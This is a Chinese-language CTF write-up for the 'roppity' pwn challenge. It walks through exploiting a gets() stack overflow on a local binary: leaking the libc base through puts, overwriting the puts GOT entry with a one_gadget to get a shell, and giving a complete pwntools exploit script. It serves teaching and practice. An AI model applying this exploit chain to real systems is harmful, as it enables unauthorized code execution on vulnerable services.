分析
题目:roppity
类型:pwn、栈溢出、rop、got 覆写
先看看程序开启了哪些安全编译选项,如下所示,只是开启了堆栈不可执行,看样子难度不大
lys@ubuntu:~/Documents/pwn$ checksec rop
[*] '/home/lys/Documents/pwn/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
运行一下程序,看看基本的功能,程序默认输出 Hello,还会接受一个用户输入
lys@ubuntu:~/Documents/pwn$ ./rop
Hello
1243
使用 file 命令,检查程序的基本信息,发现程序没有 strip,保留了符号表,有利于后续分析
lys@ubuntu:~/Documents/pwn$ file rop
rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d177aa372f308c07c8daaddec53df7c5aafd630, not stripped
将二进制拖到 IDA
发现代码的逻辑相当简单,puts 函数输出 Hello,gets 函数接收用户输入,除此之外,再无别的函数。漏洞点也很明显,gets 函数会使得栈溢出。
源代码中,并没有 system 或者 execv 这样的函数,那么就要利用栈溢出覆盖到 libc 上的库函数
- 关键点一:如何泄漏 libc 的地址
- 关键点二:如何构造 rop
利用 puts 函数泄漏 libc 基地址
利用 puts 函数,修改返回地址为 puts,但是在此之前需要修改 puts 的参数。64 位程序使用 rdi 传递参数,因此,rop 常用的修改参数指令是 pop rdi
使用 ROPgadget,在 rop 文件中,找到构造 ROP 需要的关键汇编指令
$ ROPgadget --binary rop --only "pop|ret" | grep rdi
0x0000000000400683 : pop rdi ; ret
构造 rop,泄漏 libc 基地址
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(rop.got["puts"])
payload += p64(rop.plt["puts"])
sh.sendline(payload)
这里值得注意的一点是,怎么正确处理接收到的字符,并将其转换为地址?
[DEBUG] Received 0x7 bytes:
00000000 a0 16 18 63 b8 7f 0a │···c│···│
00000007
[*] ---- \xa0\x16c\xb8\x7f
[*] Stopped process './rop' (pid 3604)
上面打印的调试信息,接收到 7 个字符,末尾 0x0a 是换行符!而且字符串长度不足 8 字节,使用 u64() 解包为十六进制,需要填充至 8 字节
- 需要使用 python 自带的 strip() 函数,将末尾空白/换行字符处理掉
- ljust 调整字符串长度为 8,且使用 \x00 填充,不填充会自动填充 2020 年份!
打印 libc 基地址
puts_addr = u64(sh.recv().strip().ljust(8, "\x00"))
libc_base = puts_addr - libc.sym["puts"]
log.info("libc base address: 0x%x", libc_base)
利用 gets 函数修改 puts 的 got 表
如果修改 puts 的 got 表为我们的 gadget,那么在调用 puts 的时候,实际上就会执行我们那个地址上的相应代码(gadget),达到 getshell 的效果。因此,这里可以使用 gets 函数,将 gets 函数的参数修改为 got 表中的函数,那么用户的输入就会传进 got 表,修改相应函数
payload += p64(pop_rdi_ret)
payload += p64(rop.got["puts"])
payload += p64(rop.plt["gets"])
payload += p64(rop.plt["puts"])
利用 one_gadget 找到 libc 中的 one gadget
lys@ubuntu:~/Documents/pwn$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
最终的 gadget 如下
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
sh.sendline(p64(libc_base + one_gadget[1]))
备注:原本想着不修改 got 表,在泄露 libc 的地址之后,再次执行 main 函数,利用栈溢出再次覆盖返回地址为 gadget,后来发现,泄露 libc 之后,没有办法执行两次 main
writeup
from pwn import *
context(log_level="debug")
rop = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = process("./rop")
sh.recvuntil("Hello\n")
pop_rdi_ret = 0x400683
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(rop.got["puts"])
payload += p64(rop.plt["puts"])
payload += p64(pop_rdi_ret)
payload += p64(rop.got["puts"])
payload += p64(rop.plt["gets"])
payload += p64(rop.plt["puts"])
sh.sendline(payload)
puts_addr = u64(sh.recv().strip().ljust(8, "\x00"))
libc_base = puts_addr - libc.sym["puts"]
log.info("libc base address: 0x%x", libc_base)
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
sh.sendline(p64(libc_base + one_gadget[1]))
sh.interactive()
总结
本题相对容易,利用 puts 函数泄漏 libc 的基地址,再利用 gets 函数改写 puts 的 got 表为 shell,那么再次执行 puts,即可获取 shell。